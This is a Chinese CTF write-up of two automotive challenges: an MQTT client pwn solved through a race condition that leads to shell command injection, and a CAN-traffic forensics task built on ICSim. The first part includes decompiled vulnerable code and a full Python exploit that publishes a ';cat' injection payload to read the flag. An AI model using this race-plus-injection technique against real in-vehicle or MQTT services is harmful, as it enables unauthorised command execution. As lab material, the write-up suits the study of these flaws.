mqtt_pwn
题目说明
某车企新来的实习生想要给汽车IVI上的MQTT客户端加强一下性能,却没想到弄巧成拙,你能试着攻破这个客户端吗?
注意,flag在/home/ctf/flag
解题思路
题目checksec,保护全开。简单看了一下没有malloc/free操作。看到有popen,应该是命令拼接
题目代码量不大,但是交互方式还是比较新的,程序连接到本地的MQTT的服务器上收发报文。实际与靶机交互时,可用MQTTX连接到靶机端口。
MQTTClient_create(&qword_5100, "tcp://localhost:9999", "vehicle_diag", 1LL, 0LL);MQTTClient_setCallbacks(qword_5100, 0LL, 0LL, sub_1C8C, 0LL);while ( (unsignedint)MQTTClient_connect(qword_5100, v8) ){puts("Trying to reconnect to MQTT..."); sleep(2u);}MQTTClient_subscribe(qword_5100, "diag", 1LL);pthread_create(&newthread, 0LL, sub_1E1A, 0LL);puts("Init...");while ( 1 ) sleep(1u);
漏洞点在此处MQTTClient_setCallbacks(qword_5100, 0LL, 0LL, sub_1C8C, 0LL);
__int64 __fastcall sub_1C8C(__int64 a1, __int64 a2, int a3, __int64 a4){ __int64 v5; // [rsp+0h] [rbp-50h] BYREFint v6; // [rsp+Ch] [rbp-44h] __int64 v7; // [rsp+10h] [rbp-40h] __int64 v8; // [rsp+18h] [rbp-38h]pthread_t newthread; // [rsp+20h] [rbp-30h] BYREF __int64 v10; // [rsp+28h] [rbp-28h]char *src; // [rsp+30h] [rbp-20h]char *v12; // [rsp+38h] [rbp-18h]char *v13; // [rsp+40h] [rbp-10h]unsigned __int64 v14; // [rsp+48h] [rbp-8h] v8 = a1; v7 = a2; v6 = a3; v5 = a4; v14 = __readfsqword(0x28u);printf("Receive: %sn", *(constchar **)(a4 + 16)); v10 = cJSON_ParseWithLength(*(_QWORD *)(v5 + 16), *(int *)(v5 + 8));if ( v10 ) { src = *(char **)(cJSON_GetObjectItem(v10, "auth") + 32); v12 = *(char **)(cJSON_GetObjectItem(v10, "cmd") + 32); v13 = *(char **)(cJSON_GetObjectItem(v10, "arg") + 32);strncpy(s1, src, 0x7FuLL);strncpy(byte_5260, v12, 0x3FuLL);strncpy(::src, v13, 0x7FuLL); pthread_create(&newthread, 0LL, start_routine, 0LL); pthread_detach(newthread); cJSON_Delete(v10); MQTTClient_freeMessage(&v5); MQTTClient_free(v7); }return1LL;}
void *__fastcall start_routine(void *a1){ __int64 v2; // rdxconstchar *v3; // rax __int64 v4; // rdx __int64 v5; // rdxunsignedint v6; // [rsp+14h] [rbp-17Ch] FILE *v7; // [rsp+18h] [rbp-178h] FILE *stream; // [rsp+20h] [rbp-170h] __int64 v9; // [rsp+28h] [rbp-168h] __int64 v10; // [rsp+30h] [rbp-160h] __int64 v11; // [rsp+38h] [rbp-158h] __int64 ptr; // [rsp+40h] [rbp-150h] BYREF __int64 v13; // [rsp+48h] [rbp-148h] __int64 v14; // [rsp+50h] [rbp-140h] __int64 v15; // [rsp+58h] [rbp-138h] __int64 v16; // [rsp+60h] [rbp-130h] __int64 v17; // [rsp+68h] [rbp-128h] __int64 v18; // [rsp+70h] [rbp-120h] __int64 v19; // [rsp+78h] [rbp-118h]char s[264]; // [rsp+80h] [rbp-110h] BYREFunsigned __int64 v21; // [rsp+188h] [rbp-8h] v21 = __readfsqword(0x28u);if ( !(unsignedint)sub_160E() ) { sub_1702("{"status":"unauthorized"}");puts("unauthorized");return0LL; }if ( !strcmp(byte_5260, "get_version") ) { v11 = sub_167C("/mnt/version", "get_version", v2);if ( v11 ) v3 = (constchar *)v11;else v3 = "error"; }elseif ( !strcmp(byte_5260, "get_location") ) { v10 = sub_167C("/dev/location", "get_location", v4);if ( v10 ) v3 = (constchar *)v10;else v3 = "error"; }else {if ( strcmp(byte_5260, "get_tpms") ) {if ( !strcmp(byte_5260, "set_adb") ) { v6 = atoi(src);if ( v6 < 2 ) {snprintf(s, 0x80uLL, "echo -n %d>/mnt/adb_flag;cat /mnt/adb_flag", v6); stream = popen(s, "r"); ptr = 0LL; v13 = 0LL; v14 = 0LL; v15 = 0LL; v16 = 0LL; v17 = 0LL; v18 = 0LL; v19 = 0LL; fread(&ptr, 1uLL, 0x3FuLL, stream); pclose(stream); sub_1702(&ptr); }else { sub_1702("invalid_flag"); } }elseif ( !strcmp(byte_5260, "set_vin") ) {if ( (unsignedint)sub_158A(src) ) { sleep(2u);snprintf(s, 0x100uLL, "echo -n %s>/mnt/VIN;cat /mnt/VIN", src);puts(s); v7 = popen(s, "r"); ptr = 0x203A746572LL; v13 = 0LL; v14 = 0LL; v15 = 0LL; v16 = 0LL; v17 = 0LL; v18 = 0LL; v19 = 0LL; fread((char *)&ptr + 5, 1uLL, 0x3FuLL, v7); pclose(v7);puts((constchar *)&ptr); sub_1702(&ptr);strncpy(dest, src, 0x3FuLL); sub_1509(dest, &unk_5080); }else { sub_1702("invalid_vin");puts("invalid_vin"); } }else { sub_1702("unknown_command"); }return0LL; } v9 = sub_167C("/dev/tpms", "get_tpms", v5);if ( v9 ) v3 = (constchar *)v9;else v3 = "error"; } sub_1702(v3);return0LL;}
每次接收到报文后,用json解析。再新开一个线程调用start_routine
函数,start_routine
再根据接收到的参数进行不同的操作。
set_vin这里的popen是能够看出有命令拼接的。可是
__int64 __fastcall sub_158A(constchar *a1){int i; // [rsp+18h] [rbp-8h]int v3; // [rsp+1Ch] [rbp-4h] v3 = strlen(a1);if ( v3 > 63 || v3 <= 9 )return0LL;for ( i = 0; i < v3; ++i ) {if ( ((*__ctype_b_loc())[a1[i]] & 8) == 0 )return0LL; }return1LL;}
这个检查过滤了非数字字母
但问题在于,此处byte_5260
是全局变量,也没有加锁保护,又有2秒的竞争窗口周期
所以,我们可以先发送一次合法的报文,再在2s内发送一次拼接注入的报文覆盖,达成命令拼接。
还有一个auth要过。不过这个auth就很简单了,MQTT会往外发VIN码,拿这个VIN码和sub_1509这个函数的逻辑算就是。
import paho.mqtt.client as mqttimport jsonimport timeVIN = "XDGV56EK1R8B3W42B"defgetkey(s): v3 = 0for c in s: v3 = 31 * v3 + ord(c)returnf"{v3:08x}"[-8:]key = getkey(VIN)a = {"auth": key,"cmd": "set_vin","arg": VIN}b = {"auth": key,"cmd": "set_vin","arg": ";cat /home/ctf/flag;"}defon_message(client, userdata, msg):print(msg.payload.decode())client = mqtt.Client()client.connect(ip, port, 60)client.subscribe("diag/resp")client.on_message = on_messageclient.loop_start()client.publish("diag", json.dumps(a))time.sleep(0.5)client.publish("diag", json.dumps(b))time.sleep(5)client.loop_stop()
easy_can
题目说明
某车辆与另外一辆车发生碰撞,由于没有监控,在划分事故责任时,需要技术人员还原出该车辆行驶时,打右转向灯的时机。我们使用ICSim重现了事故现场。请你分析其中的CAN报文,找到第一次打右转向灯所对应的流量帧,将这一帧的报文HEX包上flag进行提交例:流量包序号1200为目标报文,这一帧报文内容为000001b007000000000f000000014800
则提交flag{000001b007000000000f000000014800}
解题思路
拿icsim模拟的CAN报文。找出第一次打右转向灯的报文
看一下icsim源码有这几个宏定义
#define DEFAULT_SIGNAL_ID 392 // 0x188#define CAN_LEFT_SIGNAL 1#define CAN_RIGHT_SIGNAL 2
还有这段代码
/* Parses CAN frame and updates turn signal status */voidupdate_signal_status(struct canfd_frame *cf, int maxdlen) {int len = (cf->len > maxdlen) ? maxdlen : cf->len;if(len < signal_pos) return;if(cf->data[signal_pos] & CAN_LEFT_SIGNAL) { turn_status[0] = ON; } else { turn_status[0] = OFF; }if(cf->data[signal_pos] & CAN_RIGHT_SIGNAL) { turn_status[1] = ON; } else { turn_status[1] = OFF; } update_turn_signals(); SDL_RenderPresent(renderer);}
那也就是找can.id==392,第一次出现data中为x02开头的报文。
最后得到
flag{00000188040000000200000000000000}
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...